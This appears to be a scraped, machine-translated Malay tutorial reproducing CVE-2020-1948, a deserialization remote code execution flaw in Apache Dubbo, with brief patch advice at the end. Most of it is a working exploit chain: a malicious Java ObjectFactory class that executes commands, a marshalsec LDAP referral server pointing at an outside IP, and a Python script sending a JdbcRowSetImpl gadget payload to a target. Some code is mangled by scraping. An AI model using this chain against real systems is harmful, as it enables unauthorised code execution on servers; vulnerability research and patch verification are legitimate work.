Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo

WBOY
Lepaskan: 2023-05-17 16:01:22
ke hadapan
1048 orang telah melayarinya

Pengenalan

Dubbo ialah rangka kerja perkhidmatan berprestasi tinggi dan cemerlang sumber terbuka oleh Alibaba, yang membolehkan aplikasi merealisasikan output perkhidmatan dan fungsi input melalui RPC berprestasi tinggi, dan boleh disepadukan dengan lancar dengan rangka kerja Spring . Sistem ini mempunyai tiga fungsi teras, termasuk permohonan kaedah antara muka jauh, toleransi kesalahan pintar dan pengimbangan beban, dan pendaftaran automatik dan penemuan perkhidmatan.

Ikhtisar

Pada 23 Jun 2020, Apache Dubbo secara rasmi mengeluarkan notis risiko untuk pelaksanaan kod jauh Apache Dubbo Nombor kerentanan ialah CVE-2020-1948, dan tahap kerentanan ialah: tinggi. risiko. Apache Dubbo ialah rangka kerja Java RPC sumber terbuka berprestasi tinggi dan ringan yang menyediakan tiga keupayaan teras: penyerahan kaedah jauh berorientasikan antara muka, toleransi kesalahan pintar dan pengimbangan beban serta pendaftaran dan penemuan perkhidmatan automatik. Penyedia Apache Dubbo mempunyai kerentanan penyahserilan Penyerang boleh menghantar nama perkhidmatan atau nama kaedah yang tidak dikenali dan beberapa muatan parameter berbahaya melalui permintaan RPC Apabila parameter hasad dinyahsiri, ia boleh menyebabkan pelaksanaan kod jauh.

Versi yang terjejas

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (secara rasmi tidak lagi diselenggara)

Persediaan persekitaran

Versi jdk bagi persekitaran berjalan dan persekitaran exp tersusun adalah kedua-duanya 8u121 Mulakan persekitaran ujian

java -jar dubbo.jar
Salin selepas log masuk


Selepas permulaan, ia akan mendengar port 12345

Kerentanan berulang

Cap jari perkhidmatan:


PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd
Salin selepas log masuk
Bina poc. Kami melaksanakan perintah ping di sini untuk mengesahkan sama ada arahan itu boleh dilaksanakan. Cipta calc.java baharu,

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}
Salin selepas log masuk


Kompilasi poc

javac calc.java
Salin selepas log masuk


Letakkan poc yang disusun (calc.class) ke dalam direktori tapak web web untuk memastikan hos yang terdedah Anda boleh mengakses projek marshalsec untuk memulakan perkhidmatan proksi ldap Muat turun marshalsec:

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
Salin selepas log masuk


untuk memulakan perkhidmatan proksi LDAP. Jalankan arahan ini dan perkhidmatan ldap akan mendengar port 8086


 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
Salin selepas log masuk


Laksanakan skrip ujian yang digunakan dalam ujian di sini ialah 3.8.0. Mula-mula pasang pakej pergantungan

python3 -m pip install dubbo-py
Salin selepas log masuk


Kandungan skrip (Dubbo.py):

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print(&#39;Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL&#39;.format(sys.argv[0]))print(&#39;\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp&#39;.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object(&#39;com.sun.rowset.JdbcRowSetImpl&#39;,dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object(&#39;java.lang.Class&#39;,name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object(&#39;com.rometools.rome.feed.impl.ToStringBean&#39;,beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name=&#39;org.apache.dubbo.spring.boot.sample.consumer.DemoService&#39;,# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name=&#39;$invoke&#39;,args=[toStringBean])output =str(resp)if&#39;Fail to decode request due to: RpcInvocation&#39;inoutput:print(&#39;[!] Target maybe not support deserialization.&#39;)elif&#39;EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()&#39;inoutput:print(&#39;[+] Succeed.&#39;)else:print(&#39;[!] Output:&#39;)print(output)print(&#39;[!] Target maybe not use dubbo-remoting library.&#39;)
Salin selepas log masuk


Laksanakan skrip

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
Salin selepas log masuk


Semak dnslog dan berjaya menerima permintaan怎么进行Apache Dubbo反序列化漏洞的分析怎么进行Apache Dubbo反序列化漏洞的分析

perkhidmatan ldap juga boleh melihat pemajuan permintaan

怎么进行Apache Dubbo反序列化漏洞的分析

Kalkulator Bom

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }
Salin selepas log masuk
Pembetulan Kerentanan

Naik taraf kepada versi 2.7.7 dan lakukan pengesahan parameter mengikut kaedah dalam pautan berikut

https:// github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de


Tukar protokol dan kaedah penyahserialisasian.

Atas ialah kandungan terperinci Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sumber:yisu.com
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan